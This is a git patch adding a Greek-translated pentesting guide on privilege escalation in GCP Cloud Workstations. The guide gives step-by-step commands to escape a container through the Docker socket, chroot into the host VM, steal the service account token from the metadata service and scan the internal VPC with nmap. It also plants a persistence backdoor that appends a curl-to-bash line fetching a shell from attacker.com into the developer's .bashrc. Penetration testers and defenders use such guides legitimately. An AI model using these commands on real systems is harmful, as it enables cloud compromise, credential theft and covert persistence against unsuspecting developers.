From 3d64e1db8fc4c49ec3470e51f5eeef30bb3e3a07 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 20:06:50 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-cloud-workstations-privesc.md | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md new file mode 100644 index 000000000..ff1517f9f --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -0,0 +1,98 @@ +# GCP - Cloud Workstations Privesc + + +### Container Breakout via Docker Socket (Container -> VM -> Project) + +Η κύρια διαδρομή ανάκτησης προνομίων στα Cloud Workstations προέρχεται από την ανάγκη υποστήριξης των workflows **Docker-in-Docker (DinD)** για developers. Όταν η ρύθμιση του workstation προσαρτά το Docker socket ή επιτρέπει privileged containers (μια κοινή ρύθμιση), ένας επιτιθέμενος μέσα στο container του workstation μπορεί να διαφύγει στο υποκείμενο Compute Engine VM και να κλέψει το service account token του. + +**Προαπαιτούμενα:** +- Πρόσβαση σε τερματικό ενός Cloud Workstation (μέσω SSH, παραβιασμένης συνεδρίας ή κλεμμένων διαπιστευτηρίων) +- Η ρύθμιση του workstation πρέπει να κάνει mount το `/var/run/docker.sock` ή να ενεργοποιεί privileged containers + +**Architecture context:** Το workstation είναι ένα container (Layer 3) που τρέχει πάνω σε Docker/Containerd runtime (Layer 2) σε ένα GCE VM (Layer 1). Το Docker socket δίνει άμεση πρόσβαση στο container runtime του host. + +> [!NOTE] +> Το εργαλείο [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) αυτοματοποιεί ολόκληρη τη διαδικασία container escape και σας αφήνει σε ένα root shell στο host VM. + +
+ +Βήμα 1: Έλεγχος για Docker socket +```bash +# Verify the Docker socket is available +ls -l /var/run/docker.sock +# Expected output: srw-rw---- 1 root docker 0 ... +``` +
+ +
+ +Βήμα 2: Διαφυγή στο σύστημα αρχείων του host VM + +Εκκινούμε ένα container με αυξημένα προνόμια, προσαρτώντας τον root κατάλογο του host στο `/mnt/host`. Επίσης μοιραζόμαστε το host network και το PID namespace για να μεγιστοποιήσουμε την ορατότητα. + +
+```bash +# Spawn a privileged container mounting the host's root filesystem +docker run -it --rm --privileged --net=host --pid=host \ +-v /:/mnt/host \ +alpine sh + +# Inside the new container, chroot into the host +chroot /mnt/host /bin/bash +``` +Τώρα έχετε ένα **root shell στην υποκείμενη Compute Engine VM** (Layer 1). + + + +
+ +Βήμα 3: Κλέψτε το VM service account token από το IMDS +```bash +# From the host VM, query the Instance Metadata Service +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token + +# Check which service account is attached +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email + +# Check scopes (CRITICAL STEP) +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes +``` +
+ +> [!CAUTION] +> **Check the Scopes!** +> Ακόμα κι αν ο συνδεδεμένος Service Account είναι **Editor**, το VM μπορεί να περιορίζεται από τα access scopes. +> Αν βλέπετε `https://www.googleapis.com/auth/cloud-platform`, έχετε πλήρη πρόσβαση. +> Αν βλέπετε μόνο `logging.write` και `monitoring.write`, περιορίζεστε στα **Network Pivot** και **Persistence** vectors παρακάτω. + +
+ +Βήμα 4: Achieve Persistence (Backdoor the User) + +Τα Cloud Workstations προσαρτούν έναν persistent disk στο `/home/user`. Εφόσον ο container user (συνήθως `user`, UID 1000) αντιστοιχεί στον host user (UID 1000), μπορείτε να γράψετε στον home κατάλογο του host. Αυτό σας επιτρέπει να backdoor το περιβάλλον ακόμη κι αν το workstation container επαναδημιουργηθεί. +```bash +# Check if you can write to the host's persistent home +ls -la /mnt/host/home/user/ + +# Drop a backdoor that executes next time the developer logs in +# Note: Do this from the container escape context +echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc +``` +
+ +
+ +Step 5: Network Pivot (Internal VPC Access) + +Εφόσον μοιράζεστε τον χώρο ονομάτων δικτύου του host (`--net=host`), είστε πλέον ένας αξιόπιστος κόμβος στο VPC. Μπορείτε να σαρώσετε για εσωτερικές υπηρεσίες που επιτρέπουν πρόσβαση με βάση το IP whitelisting. +```bash +# Install scanning tools on the host (if internet access allows) +apk add nmap + +# Scan the internal VPC subnet +nmap -sS -p 80,443,22 10.0.0.0/8 +``` +